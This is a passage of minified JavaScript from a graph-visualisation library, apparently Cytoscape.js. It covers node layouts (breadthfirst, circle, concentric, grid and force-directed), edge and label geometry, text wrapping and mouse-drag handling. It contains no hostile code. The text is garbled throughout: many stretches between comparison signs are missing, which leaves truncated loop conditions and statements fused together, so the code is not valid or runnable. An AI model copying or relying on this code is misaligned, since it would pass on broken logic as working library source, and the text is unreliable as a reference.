f=[],d=0;d0;){var _=D(),O=R(_,L);if(O)_.outgoers().filter(function(Ve){return Ve.isNode()&&r.has(Ve)}).forEach(E);else if(O===null){hn("Detected double maximal shift for node `"+_.id()+"`. Bailing maximal adjustment due to cycle. Use `options.maximal: true` only on DAGs.");break}}}var M=0;if(t.avoidOverlap)for(var P=0;P0&&x[0].length<=3?Le/2:0),Ne=2*Math.PI/x[Ye].length*He;return Ye===0&&x[0].length===1&&(Ie=1),{x:K.x+Ie*Math.cos(Ne),y:K.y+Ie*Math.sin(Ne)}}else{var Ce=x[Ye].length,Fe=Math.max(Ce===1?0:l?(u.w-t.padding*2-ae.w)/((t.grid?de:Ce)-1):(u.w-t.padding*2-ae.w)/((t.grid?de:Ce)+1),M),fe={x:K.x+(He+1-(Ce+1)/2)*Fe,y:K.y+(Ye+1-(Y+1)/2)*Q};return fe}},"getPositionTopBottom"),Te={downward:0,leftward:90,upward:180,rightward:-90};Object.keys(Te).indexOf(t.direction)===-1&&Kn("Invalid direction '".concat(t.direction,"' specified for breadthfirst layout. Valid values are: ").concat(Object.keys(Te).join(", ")));var q=o(function(pe){return aze(ne(pe),u,Te[t.direction])},"getPosition");return r.nodes().layoutPositions(this,t,q),this};HUe={fit:!0,padding:30,boundingBox:void 0,avoidOverlap:!0,nodeDimensionsIncludeLabels:!1,spacingFactor:void 0,radius:void 0,startAngle:3/2*Math.PI,sweep:void 0,clockwise:!0,sort:void 0,animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(fhe,"CircleLayout");fhe.prototype.run=function(){var t=this.options,e=t,r=t.cy,n=e.eles,i=e.counterclockwise!==void 0?!e.counterclockwise:e.clockwise,a=n.nodes().not(":parent");e.sort&&(a=a.sort(e.sort));for(var s=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()}),l={x:s.x1+s.w/2,y:s.y1+s.h/2},u=e.sweep===void 0?2*Math.PI-2*Math.PI/a.length:e.sweep,h=u/Math.max(1,a.length-1),f,d=0,p=0;p1&&e.avoidOverlap){d*=1.75;var x=Math.cos(h)-Math.cos(0),b=Math.sin(h)-Math.sin(0),T=Math.sqrt(d*d/(x*x+b*b));f=Math.max(T,f)}var S=o(function(k,A){var C=e.startAngle+A*h*(i?1:-1),R=f*Math.cos(C),I=f*Math.sin(C),L={x:l.x+R,y:l.y+I};return L},"getPos");return n.nodes().layoutPositions(this,e,S),this};qUe={fit:!0,padding:30,startAngle:3/2*Math.PI,sweep:void 0,clockwise:!0,equidistant:!1,minNodeSpacing:10,boundingBox:void 0,avoidOverlap:!0,nodeDimensionsIncludeLabels:!1,height:void 0,width:void 0,spacingFactor:void 0,concentric:o(function(e){return e.degree()},"concentric"),levelWidth:o(function(e){return e.maxDegree()/4},"levelWidth"),animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(dhe,"ConcentricLayout");dhe.prototype.run=function(){for(var t=this.options,e=t,r=e.counterclockwise!==void 0?!e.counterclockwise:e.clockwise,n=t.cy,i=e.eles,a=i.nodes().not(":parent"),s=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:n.width(),h:n.height()}),l={x:s.x1+s.w/2,y:s.y1+s.h/2},u=[],h=0,f=0;f0){var w=Math.abs(b[0].value-S.value);w>=v&&(b=[],x.push(b))}b.push(S)}var k=h+e.minNodeSpacing;if(!e.avoidOverlap){var A=x.length>0&&x[0].length>1,C=Math.min(s.w,s.h)/2-k,R=C/(x.length+A?1:0);k=Math.min(k,R)}for(var I=0,L=0;L1&&e.avoidOverlap){var O=Math.cos(_)-Math.cos(0),M=Math.sin(_)-Math.sin(0),P=Math.sqrt(k*k/(O*O+M*M));I=Math.max(P,I)}E.r=I,I+=k}if(e.equidistant){for(var B=0,F=0,G=0;G=t.numIter||(ZUe(n,t),n.temperature=n.temperature*t.coolingFactor,n.temperature=t.animationThreshold&&a(),Kk(f)}},"frame");f()}else{for(;h;)h=s(u),u++;Ice(n,t),l()}return this};kE.prototype.stop=function(){return this.stopped=!0,this.thread&&this.thread.stop(),this.emit("layoutstop"),this};kE.prototype.destroy=function(){return this.thread&&this.thread.stop(),this};YUe=o(function(e,r,n){for(var i=n.eles.edges(),a=n.eles.nodes(),s=cs(n.boundingBox?n.boundingBox:{x1:0,y1:0,w:e.width(),h:e.height()}),l={isCompound:e.hasCompoundNodes(),layoutNodes:[],idToIndex:{},nodeSize:a.size(),graphSet:[],indexToGraph:[],layoutEdges:[],edgeSize:i.size(),temperature:n.initialTemp,clientWidth:s.w,clientHeight:s.h,boundingBox:s},u=n.eles.components(),h={},f=0;f0){l.graphSet.push(C);for(var f=0;fi.count?0:i.graph},"findLCA"),phe=o(function(e,r,n,i){var a=i.graphSet[n];if(-10)var d=i.nodeOverlap*f,p=Math.sqrt(l*l+u*u),m=d*l/p,g=d*u/p;else var y=nE(e,l,u),v=nE(r,-1*l,-1*u),x=v.x-y.x,b=v.y-y.y,T=x*x+b*b,p=Math.sqrt(T),d=(e.nodeRepulsion+r.nodeRepulsion)/T,m=d*x/p,g=d*b/p;e.isLocked||(e.offsetX-=m,e.offsetY-=g),r.isLocked||(r.offsetX+=m,r.offsetY+=g)}},"nodeRepulsion"),tHe=o(function(e,r,n,i){if(n>0)var a=e.maxX-r.minX;else var a=r.maxX-e.minX;if(i>0)var s=e.maxY-r.minY;else var s=r.maxY-e.minY;return a>=0&&s>=0?Math.sqrt(a*a+s*s):0},"nodesOverlap"),nE=o(function(e,r,n){var i=e.positionX,a=e.positionY,s=e.height||1,l=e.width||1,u=n/r,h=s/l,f={};return r===0&&0n?(f.x=i,f.y=a+s/2,f):0r&&-1*h<=u&&u<=h?(f.x=i-l/2,f.y=a-l*n/2/r,f):0=h)?(f.x=i+s*r/2/n,f.y=a+s/2,f):(0>n&&(u<=-1*h||u>=h)&&(f.x=i-s*r/2/n,f.y=a-s/2),f)},"findClippingPoint"),rHe=o(function(e,r){for(var n=0;nn){var v=r.gravity*m/y,x=r.gravity*g/y;p.offsetX+=v,p.offsetY+=x}}}}},"calculateGravityForces"),iHe=o(function(e,r){var n=[],i=0,a=-1;for(n.push.apply(n,e.graphSet[0]),a+=e.graphSet[0].length;i<=a;){var s=n[i++],l=e.idToIndex[s],u=e.layoutNodes[l],h=u.children;if(0n)var a={x:n*e/i,y:n*r/i};else var a={x:e,y:r};return a},"limitForce"),ghe=o(function(e,r){var n=e.parentId;if(n!=null){var i=r.layoutNodes[r.idToIndex[n]],a=!1;if((i.maxX==null||e.maxX+i.padRight>i.maxX)&&(i.maxX=e.maxX+i.padRight,a=!0),(i.minX==null||e.minX-i.padLefti.maxY)&&(i.maxY=e.maxY+i.padBottom,a=!0),(i.minY==null||e.minY-i.padTopx&&(g+=v+r.componentSpacing,m=0,y=0,v=0)}}},"separateComponents"),oHe={fit:!0,padding:30,boundingBox:void 0,avoidOverlap:!0,avoidOverlapPadding:10,nodeDimensionsIncludeLabels:!1,spacingFactor:void 0,condense:!1,rows:void 0,cols:void 0,position:o(function(e){},"position"),sort:void 0,animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(yhe,"GridLayout");yhe.prototype.run=function(){var t=this.options,e=t,r=t.cy,n=e.eles,i=n.nodes().not(":parent");e.sort&&(i=i.sort(e.sort));var a=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()});if(a.h===0||a.w===0)n.nodes().layoutPositions(this,e,function(j){return{x:a.x1,y:a.y1}});else{var s=i.size(),l=Math.sqrt(s*a.h/a.w),u=Math.round(l),h=Math.round(a.w/a.h*l),f=o(function(te){if(te==null)return Math.min(u,h);var Y=Math.min(u,h);Y==u?u=te:h=te},"small"),d=o(function(te){if(te==null)return Math.max(u,h);var Y=Math.max(u,h);Y==u?u=te:h=te},"large"),p=e.rows,m=e.cols!=null?e.cols:e.columns;if(p!=null&&m!=null)u=p,h=m;else if(p!=null&&m==null)u=p,h=Math.ceil(s/u);else if(p==null&&m!=null)h=m,u=Math.ceil(s/h);else if(h*u>s){var g=f(),y=d();(g-1)*y>=s?f(g-1):(y-1)*g>=s&&d(y-1)}else for(;h*u=s?d(x+1):f(v+1)}var b=a.w/h,T=a.h/u;if(e.condense&&(b=0,T=0),e.avoidOverlap)for(var S=0;S=h&&(O=0,_++)},"moveToNextCell"),P={},B=0;B(O=Kze(t,e,M[P],M[P+1],M[P+2],M[P+3])))return v(A,O),!0}else if(R.edgeType==="bezier"||R.edgeType==="multibezier"||R.edgeType==="self"||R.edgeType==="compound"){for(var M=R.allpts,P=0;P+5(O=jze(t,e,M[P],M[P+1],M[P+2],M[P+3],M[P+4],M[P+5])))return v(A,O),!0}for(var B=B||C.source,F=F||C.target,G=i.getArrowWidth(I,L),$=[{name:"source",x:R.arrowStartX,y:R.arrowStartY,angle:R.srcArrowAngle},{name:"target",x:R.arrowEndX,y:R.arrowEndY,angle:R.tgtArrowAngle},{name:"mid-source",x:R.midX,y:R.midY,angle:R.midsrcArrowAngle},{name:"mid-target",x:R.midX,y:R.midY,angle:R.midtgtArrowAngle}],P=0;P<$.length;P++){var U=$[P],j=a.arrowShapes[A.pstyle(U.name+"-arrow-shape").value],te=A.pstyle("width").pfValue;if(j.roughCollide(t,e,G,U.angle,{x:U.x,y:U.y},te,f)&&j.collide(t,e,G,U.angle,{x:U.x,y:U.y},te,f))return v(A),!0}h&&l.length>0&&(x(B),x(F))}o(b,"checkEdge");function T(A,C,R){return Us(A,C,R)}o(T,"preprop");function S(A,C){var R=A._private,I=p,L;C?L=C+"-":L="",A.boundingBox();var E=R.labelBounds[C||"main"],D=A.pstyle(L+"label").value,_=A.pstyle("text-events").strValue==="yes";if(!(!_||!D)){var O=T(R.rscratch,"labelX",C),M=T(R.rscratch,"labelY",C),P=T(R.rscratch,"labelAngle",C),B=A.pstyle(L+"text-margin-x").pfValue,F=A.pstyle(L+"text-margin-y").pfValue,G=E.x1-I-B,$=E.x2+I-B,U=E.y1-I-F,j=E.y2+I-F;if(P){var te=Math.cos(P),Y=Math.sin(P),oe=o(function(ae,Q){return ae=ae-O,Q=Q-M,{x:ae*te-Q*Y+O,y:ae*Y+Q*te+M}},"rotate"),J=oe(G,U),ue=oe(G,j),re=oe($,U),ee=oe($,j),Z=[J.x+B,J.y+F,re.x+B,re.y+F,ee.x+B,ee.y+F,ue.x+B,ue.y+F];if(Hs(t,e,Z))return v(A),!0}else if(yf(E,t,e))return v(A),!0}}o(S,"checkLabel");for(var w=s.length-1;w>=0;w--){var k=s[w];k.isNode()?x(k)||S(k):b(k)||S(k)||S(k,"source")||S(k,"target")}return l};Sp.getAllInBox=function(t,e,r,n){var i=this.getCachedZSortedEles().interactive,a=this.cy.zoom(),s=2/a,l=[],u=Math.min(t,r),h=Math.max(t,r),f=Math.min(e,n),d=Math.max(e,n);t=u,r=h,e=f,n=d;var p=cs({x1:t,y1:e,x2:r,y2:n}),m=[{x:p.x1,y:p.y1},{x:p.x2,y:p.y1},{x:p.x2,y:p.y2},{x:p.x1,y:p.y2}],g=[[m[0],m[1]],[m[1],m[2]],[m[2],m[3]],[m[3],m[0]]];function y(ae,Q,de){return Us(ae,Q,de)}o(y,"preprop");function v(ae,Q){var de=ae._private,ne=s,Te="";ae.boundingBox();var q=de.labelBounds.main;if(!q)return null;var Ve=y(de.rscratch,"labelX",Q),pe=y(de.rscratch,"labelY",Q),Be=y(de.rscratch,"labelAngle",Q),Ye=ae.pstyle(Te+"text-margin-x").pfValue,He=ae.pstyle(Te+"text-margin-y").pfValue,Le=q.x1-ne-Ye,Ie=q.x2+ne-Ye,Ne=q.y1-ne-He,Ce=q.y2+ne-He;if(Be){var Fe=Math.cos(Be),fe=Math.sin(Be),xe=o(function(he,z){return he=he-Ve,z=z-pe,{x:he*Fe-z*fe+Ve,y:he*fe+z*Fe+pe}},"rotate");return[xe(Le,Ne),xe(Ie,Ne),xe(Ie,Ce),xe(Le,Ce)]}else return[{x:Le,y:Ne},{x:Ie,y:Ne},{x:Ie,y:Ce},{x:Le,y:Ce}]}o(v,"getRotatedLabelBox");function x(ae,Q,de,ne){function Te(q,Ve,pe){return(pe.y-q.y)*(Ve.x-q.x)>(Ve.y-q.y)*(pe.x-q.x)}return o(Te,"ccw"),Te(ae,de,ne)!==Te(Q,de,ne)&&Te(ae,Q,de)!==Te(ae,Q,ne)}o(x,"doLinesIntersect");for(var b=0;b0?-(Math.PI-e.ang):Math.PI+e.ang},"invertVec"),dHe=o(function(e,r,n,i,a){if(e!==$ce?zce(r,e,Ic):fHe(Yo,Ic),zce(r,n,Yo),Bce=Ic.nx*Yo.ny-Ic.ny*Yo.nx,Fce=Ic.nx*Yo.nx-Ic.ny*-Yo.ny,Fu=Math.asin(Math.max(-1,Math.min(1,Bce))),Math.abs(Fu)<1e-6){eI=r.x,tI=r.y,gp=Qm=0;return}vp=1,qk=!1,Fce<0?Fu<0?Fu=Math.PI+Fu:(Fu=Math.PI-Fu,vp=-1,qk=!0):Fu>0&&(vp=-1,qk=!0),r.radius!==void 0?Qm=r.radius:Qm=i,fp=Fu/2,Ik=Math.min(Ic.len/2,Yo.len/2),a?(Nc=Math.abs(Math.cos(fp)*Qm/Math.sin(fp)),Nc>Ik?(Nc=Ik,gp=Math.abs(Nc*Math.sin(fp)/Math.cos(fp))):gp=Qm):(Nc=Math.min(Ik,Qm),gp=Math.abs(Nc*Math.sin(fp)/Math.cos(fp))),rI=r.x+Yo.nx*Nc,nI=r.y+Yo.ny*Nc,eI=rI-Yo.ny*gp*vp,tI=nI+Yo.nx*gp*vp,The=r.x+Ic.nx*Nc,whe=r.y+Ic.ny*Nc,$ce=r},"calcCornerArc");o(khe,"drawPreparedRoundCorner");o(LI,"getRoundCorner");dx=.01,pHe=Math.sqrt(2*dx),$a={};$a.findMidptPtsEtc=function(t,e){var r=e.posPts,n=e.intersectionPts,i=e.vectorNormInverse,a,s=t.pstyle("source-endpoint"),l=t.pstyle("target-endpoint"),u=s.units!=null&&l.units!=null,h=o(function(w,k,A,C){var R=C-k,I=A-w,L=Math.sqrt(I*I+R*R);return{x:-R/L,y:I/L}},"recalcVectorNormInverse"),f=t.pstyle("edge-distances").value;switch(f){case"node-position":a=r;break;case"intersection":a=n;break;case"endpoints":{if(u){var d=this.manualEndptToPx(t.source()[0],s),p=_i(d,2),m=p[0],g=p[1],y=this.manualEndptToPx(t.target()[0],l),v=_i(y,2),x=v[0],b=v[1],T={x1:m,y1:g,x2:x,y2:b};i=h(m,g,x,b),a=T}else hn("Edge ".concat(t.id()," has edge-distances:endpoints specified without manual endpoints specified via source-endpoint and target-endpoint. Falling back on edge-distances:intersection (default).")),a=n;break}}return{midptPts:a,vectorNormInverse:i}};$a.findHaystackPoints=function(t){for(var e=0;e0?Math.max(z-se,0):Math.min(z+se,0)},"subDWH"),D=E(I,C),_=E(L,R),O=!1;b===h?x=Math.abs(D)>Math.abs(_)?i:n:b===u||b===l?(x=n,O=!0):(b===a||b===s)&&(x=i,O=!0);var M=x===n,P=M?_:D,B=M?L:I,F=yI(B),G=!1;!(O&&(S||k))&&(b===l&&B<0||b===u&&B>0||b===a&&B>0||b===s&&B<0)&&(F*=-1,P=F*Math.abs(P),G=!0);var $;if(S){var U=w<0?1+w:w;$=U*P}else{var j=w<0?P:0;$=j+w*F}var te=o(function(z){return Math.abs(z)=Math.abs(P)},"getIsTooClose"),Y=te($),oe=te(Math.abs(P)-Math.abs($)),J=Y||oe;if(J&&!G)if(M){var ue=Math.abs(B)<=p/2,re=Math.abs(I)<=m/2;if(ue){var ee=(f.x1+f.x2)/2,Z=f.y1,K=f.y2;r.segpts=[ee,Z,ee,K]}else if(re){var ae=(f.y1+f.y2)/2,Q=f.x1,de=f.x2;r.segpts=[Q,ae,de,ae]}else r.segpts=[f.x1,f.y2]}else{var ne=Math.abs(B)<=d/2,Te=Math.abs(L)<=g/2;if(ne){var q=(f.y1+f.y2)/2,Ve=f.x1,pe=f.x2;r.segpts=[Ve,q,pe,q]}else if(Te){var Be=(f.x1+f.x2)/2,Ye=f.y1,He=f.y2;r.segpts=[Be,Ye,Be,He]}else r.segpts=[f.x2,f.y1]}else if(M){var Le=f.y1+$+(v?p/2*F:0),Ie=f.x1,Ne=f.x2;r.segpts=[Ie,Le,Ne,Le]}else{var Ce=f.x1+$+(v?d/2*F:0),Fe=f.y1,fe=f.y2;r.segpts=[Ce,Fe,Ce,fe]}if(r.isRound){var xe=t.pstyle("taxi-radius").value,W=t.pstyle("radius-type").value[0]==="arc-radius";r.radii=new Array(r.segpts.length/2).fill(xe),r.isArcRadius=new Array(r.segpts.length/2).fill(W)}};$a.tryToCorrectInvalidPoints=function(t,e){var r=t._private.rscratch;if(r.edgeType==="bezier"){var n=e.srcPos,i=e.tgtPos,a=e.srcW,s=e.srcH,l=e.tgtW,u=e.tgtH,h=e.srcShape,f=e.tgtShape,d=e.srcCornerRadius,p=e.tgtCornerRadius,m=e.srcRs,g=e.tgtRs,y=!At(r.startX)||!At(r.startY),v=!At(r.arrowStartX)||!At(r.arrowStartY),x=!At(r.endX)||!At(r.endY),b=!At(r.arrowEndX)||!At(r.arrowEndY),T=3,S=this.getArrowWidth(t.pstyle("width").pfValue,t.pstyle("arrow-scale").value)*this.arrowShapeWidth,w=T*S,k=Tp({x:r.ctrlpts[0],y:r.ctrlpts[1]},{x:r.startX,y:r.startY}),A=kB.poolIndex()){var F=P;P=B,B=F}var G=D.srcPos=P.position(),$=D.tgtPos=B.position(),U=D.srcW=P.outerWidth(),j=D.srcH=P.outerHeight(),te=D.tgtW=B.outerWidth(),Y=D.tgtH=B.outerHeight(),oe=D.srcShape=r.nodeShapes[e.getNodeShape(P)],J=D.tgtShape=r.nodeShapes[e.getNodeShape(B)],ue=D.srcCornerRadius=P.pstyle("corner-radius").value==="auto"?"auto":P.pstyle("corner-radius").pfValue,re=D.tgtCornerRadius=B.pstyle("corner-radius").value==="auto"?"auto":B.pstyle("corner-radius").pfValue,ee=D.tgtRs=B._private.rscratch,Z=D.srcRs=P._private.rscratch;D.dirCounts={north:0,west:0,south:0,east:0,northwest:0,southwest:0,northeast:0,southeast:0};for(var K=0;K=pHe||(Ne=Math.sqrt(Math.max(Ie*Ie,dx)+Math.max(Le*Le,dx)));var Ce=D.vector={x:Ie,y:Le},Fe=D.vectorNorm={x:Ce.x/Ne,y:Ce.y/Ne},fe={x:-Fe.y,y:Fe.x};D.nodesOverlap=!At(Ne)||J.checkPoint(q[0],q[1],0,te,Y,$.x,$.y,re,ee)||oe.checkPoint(pe[0],pe[1],0,U,j,G.x,G.y,ue,Z),D.vectorNormInverse=fe,_={nodesOverlap:D.nodesOverlap,dirCounts:D.dirCounts,calculatedIntersection:!0,hasBezier:D.hasBezier,hasUnbundled:D.hasUnbundled,eles:D.eles,srcPos:$,srcRs:ee,tgtPos:G,tgtRs:Z,srcW:te,srcH:Y,tgtW:U,tgtH:j,srcIntn:Be,tgtIntn:Ve,srcShape:J,tgtShape:oe,posPts:{x1:He.x2,y1:He.y2,x2:He.x1,y2:He.y1},intersectionPts:{x1:Ye.x2,y1:Ye.y2,x2:Ye.x1,y2:Ye.y1},vector:{x:-Ce.x,y:-Ce.y},vectorNorm:{x:-Fe.x,y:-Fe.y},vectorNormInverse:{x:-fe.x,y:-fe.y}}}var xe=Te?_:D;Q.nodesOverlap=xe.nodesOverlap,Q.srcIntn=xe.srcIntn,Q.tgtIntn=xe.tgtIntn,Q.isRound=de.startsWith("round"),i&&(P.isParent()||P.isChild()||B.isParent()||B.isChild())&&(P.parents().anySame(B)||B.parents().anySame(P)||P.same(B)&&P.isParent())?e.findCompoundLoopPoints(ae,xe,K,ne):P===B?e.findLoopPoints(ae,xe,K,ne):de.endsWith("segments")?e.findSegmentsPoints(ae,xe):de.endsWith("taxi")?e.findTaxiPoints(ae,xe):de==="straight"||!ne&&D.eles.length%2===1&&K===Math.floor(D.eles.length/2)?e.findStraightEdgePoints(ae):e.findBezierPoints(ae,xe,K,ne,Te),e.findEndpoints(ae),e.tryToCorrectInvalidPoints(ae,xe),e.checkForInvalidEdgeWarning(ae),e.storeAllpts(ae),e.storeEdgeProjections(ae),e.calculateArrowAngles(ae),e.recalculateEdgeLabelProjections(ae),e.calculateLabelAngles(ae)}},"_loop"),A=0;A0){var q=h,Ve=mp(q,tg(s)),pe=mp(q,tg(Te)),Be=Ve;if(pe2){var Ye=mp(q,{x:Te[2],y:Te[3]});Ye0){var le=f,ke=mp(le,tg(s)),ve=mp(le,tg(se)),ye=ke;if(ve2){var Re=mp(le,{x:se[2],y:se[3]});Re=g||A){v={cp:S,segment:k};break}}if(v)break}var C=v.cp,R=v.segment,I=(g-x)/R.length,L=R.t1-R.t0,E=m?R.t0+L*I:R.t1-L*I;E=ox(0,E,1),e=ig(C.p0,C.p1,C.p2,E),p=gHe(C.p0,C.p1,C.p2,E);break}case"straight":case"segments":case"haystack":{for(var D=0,_,O,M,P,B=n.allpts.length,F=0;F+3=g));F+=2);var G=g-O,$=G/_;$=ox(0,$,1),e=Fze(M,P,$),p=Che(M,P);break}}s("labelX",d,e.x),s("labelY",d,e.y),s("labelAutoAngle",d,p)}},"calculateEndProjection");h("source"),h("target"),this.applyLabelDimensions(t)}};Bc.applyLabelDimensions=function(t){this.applyPrefixedLabelDimensions(t),t.isEdge()&&(this.applyPrefixedLabelDimensions(t,"source"),this.applyPrefixedLabelDimensions(t,"target"))};Bc.applyPrefixedLabelDimensions=function(t,e){var r=t._private,n=this.getLabelText(t,e),i=bp(n,t._private.labelDimsKey);if(Us(r.rscratch,"prefixedLabelDimsKey",e)!==i){$u(r.rscratch,"prefixedLabelDimsKey",e,i);var a=this.calculateLabelDimensions(t,n),s=t.pstyle("line-height").pfValue,l=t.pstyle("text-wrap").strValue,u=Us(r.rscratch,"labelWrapCachedLines",e)||[],h=l!=="wrap"?1:Math.max(u.length,1),f=a.height/h,d=f*s,p=a.width,m=a.height+(h-1)*(s-1)*f;$u(r.rstyle,"labelWidth",e,p),$u(r.rscratch,"labelWidth",e,p),$u(r.rstyle,"labelHeight",e,m),$u(r.rscratch,"labelHeight",e,m),$u(r.rscratch,"labelLineHeight",e,d)}};Bc.getLabelText=function(t,e){var r=t._private,n=e?e+"-":"",i=t.pstyle(n+"label").strValue,a=t.pstyle("text-transform").value,s=o(function(j,te){return te?($u(r.rscratch,j,e,te),te):Us(r.rscratch,j,e)},"rscratch");if(!i)return"";a=="none"||(a=="uppercase"?i=i.toUpperCase():a=="lowercase"&&(i=i.toLowerCase()));var l=t.pstyle("text-wrap").value;if(l==="wrap"){var u=s("labelKey");if(u!=null&&s("labelWrapKey")===u)return s("labelWrapCachedText");for(var h="\u200B",f=i.split(` +`),d=t.pstyle("text-max-width").pfValue,p=t.pstyle("text-overflow-wrap").value,m=p==="anywhere",g=[],y=/[\s\u200b]+|$/g,v=0;vd){var w=x.matchAll(y),k="",A=0,C=qs(w),R;try{for(C.s();!(R=C.n()).done;){var I=R.value,L=I[0],E=x.substring(A,I.index);A=I.index+L.length;var D=k.length===0?E:k+E+L,_=this.calculateLabelDimensions(t,D),O=_.width;O<=d?k+=E+L:(k&&g.push(k),k=E+L)}}catch(U){C.e(U)}finally{C.f()}k.match(/^[\s\u200b]+$/)||g.push(k)}else g.push(x)}s("labelWrapCachedLines",g),i=s("labelWrapCachedText",g.join(` +`)),s("labelWrapKey",u)}else if(l==="ellipsis"){var M=t.pstyle("text-max-width").pfValue,P="",B="\u2026",F=!1;if(this.calculateLabelDimensions(t,i).widthM)break;P+=i[G],G===i.length-1&&(F=!0)}return F||(P+=B),P}return i};Bc.getLabelJustification=function(t){var e=t.pstyle("text-justification").strValue,r=t.pstyle("text-halign").strValue;if(e==="auto")if(t.isNode())switch(r){case"left":return"right";case"right":return"left";default:return"center"}else return"center";else return e};Bc.calculateLabelDimensions=function(t,e){var r=this,n=r.cy.window(),i=n.document,a=0,s=t.pstyle("font-style").strValue,l=t.pstyle("font-size").pfValue,u=t.pstyle("font-family").strValue,h=t.pstyle("font-weight").strValue,f=this.labelCalcCanvas,d=this.labelCalcCanvasContext;if(!f){f=this.labelCalcCanvas=i.createElement("canvas"),d=this.labelCalcCanvasContext=f.getContext("2d");var p=f.style;p.position="absolute",p.left="-9999px",p.top="-9999px",p.zIndex="-1",p.visibility="hidden",p.pointerEvents="none"}d.font="".concat(s," ").concat(h," ").concat(l,"px ").concat(u);for(var m=0,g=0,y=e.split(` +`),v=0;v1&&arguments[1]!==void 0?arguments[1]:!0;if(e.merge(s),l)for(var u=0;u=t.desktopTapThreshold2}var bt=a(z);lt&&(t.hoverData.tapholdCancelled=!0);var wt=o(function(){var Se=t.hoverData.dragDelta=t.hoverData.dragDelta||[];Se.length===0?(Se.push(et[0]),Se.push(et[1])):(Se[0]+=et[0],Se[1]+=et[1])},"updateDragDelta");le=!0,i(xt,["mousemove","vmousemove","tapdrag"],z,{x:Re[0],y:Re[1]});var yt=o(function(Se){return{originalEvent:z,type:Se,position:{x:Re[0],y:Re[1]}}},"makeEvent"),ft=o(function(){t.data.bgActivePosistion=void 0,t.hoverData.selecting||ke.emit(yt("boxstart")),Ke[4]=1,t.hoverData.selecting=!0,t.redrawHint("select",!0),t.redraw()},"goIntoBoxMode");if(t.hoverData.which===3){if(lt){var Ur=yt("cxtdrag");Oe?Oe.emit(Ur):ke.emit(Ur),t.hoverData.cxtDragged=!0,(!t.hoverData.cxtOver||xt!==t.hoverData.cxtOver)&&(t.hoverData.cxtOver&&t.hoverData.cxtOver.emit(yt("cxtdragout")),t.hoverData.cxtOver=xt,xt&&xt.emit(yt("cxtdragover")))}}else if(t.hoverData.dragging){if(le=!0,ke.panningEnabled()&&ke.userPanningEnabled()){var _t;if(t.hoverData.justStartedPan){var bn=t.hoverData.mdownPos;_t={x:(Re[0]-bn[0])*ve,y:(Re[1]-bn[1])*ve},t.hoverData.justStartedPan=!1}else _t={x:et[0]*ve,y:et[1]*ve};ke.panBy(_t),ke.emit(yt("dragpan")),t.hoverData.dragged=!0}Re=t.projectIntoViewport(z.clientX,z.clientY)}else if(Ke[4]==1&&(Oe==null||Oe.pannable())){if(lt){if(!t.hoverData.dragging&&ke.boxSelectionEnabled()&&(bt||!ke.panningEnabled()||!ke.userPanningEnabled()))ft();else if(!t.hoverData.selecting&&ke.panningEnabled()&&ke.userPanningEnabled()){var Br=s(Oe,t.hoverData.downs);Br&&(t.hoverData.dragging=!0,t.hoverData.justStartedPan=!0,Ke[4]=0,t.data.bgActivePosistion=tg(_e),t.redrawHint("select",!0),t.redraw())}Oe&&Oe.pannable()&&Oe.active()&&Oe.unactivate()}}else{if(Oe&&Oe.pannable()&&Oe.active()&&Oe.unactivate(),(!Oe||!Oe.grabbed())&&xt!=We&&(We&&i(We,["mouseout","tapdragout"],z,{x:Re[0],y:Re[1]}),xt&&i(xt,["mouseover","tapdragover"],z,{x:Re[0],y:Re[1]}),t.hoverData.last=xt),Oe)if(lt){if(ke.boxSelectionEnabled()&&bt)Oe&&Oe.grabbed()&&(x(Ue),Oe.emit(yt("freeon")),Ue.emit(yt("free")),t.dragData.didDrag&&(Oe.emit(yt("dragfreeon")),Ue.emit(yt("dragfree")))),ft();else if(Oe&&Oe.grabbed()&&t.nodeIsDraggable(Oe)){var cr=!t.dragData.didDrag;cr&&t.redrawHint("eles",!0),t.dragData.didDrag=!0,t.hoverData.draggingEles||y(Ue,{inDragLayer:!0});var ar={x:0,y:0};if(At(et[0])&&At(et[1])&&(ar.x+=et[0],ar.y+=et[1],cr)){var _r=t.hoverData.dragDelta;_r&&At(_r[0])&&At(_r[1])&&(ar.x+=_r[0],ar.y+=_r[1])}t.hoverData.draggingEles=!0,Ue.silentShift(ar).emit(yt("position")).emit(yt("drag")),t.redrawHint("drag",!0),t.redraw()}}else wt();le=!0}if(Ke[2]=Re[0],Ke[3]=Re[1],le)return z.stopPropagation&&z.stopPropagation(),z.preventDefault&&z.preventDefault(),!1}},"mousemoveHandler"),!1);var E,D,_;t.registerBinding(e,"mouseup",o(function(z){if(!(t.hoverData.which===1&&z.which!==1&&t.hoverData.capture)){var se=t.hoverData.capture;if(se){t.hoverData.capture=!1;var le=t.cy,ke=t.projectIntoViewport(z.clientX,z.clientY),ve=t.selection,ye=t.findNearestElement(ke[0],ke[1],!0,!1),Re=t.dragData.possibleDragElements,_e=t.hoverData.down,ze=a(z);t.data.bgActivePosistion&&(t.redrawHint("select",!0),t.redraw()),t.hoverData.tapholdCancelled=!0,t.data.bgActivePosistion=void 0,_e&&_e.unactivate();var Ke=o(function(Gt){return{originalEvent:z,type:Gt,position:{x:ke[0],y:ke[1]}}},"makeEvent");if(t.hoverData.which===3){var xt=Ke("cxttapend");if(_e?_e.emit(xt):le.emit(xt),!t.hoverData.cxtDragged){var We=Ke("cxttap");_e?_e.emit(We):le.emit(We)}t.hoverData.cxtDragged=!1,t.hoverData.which=null}else 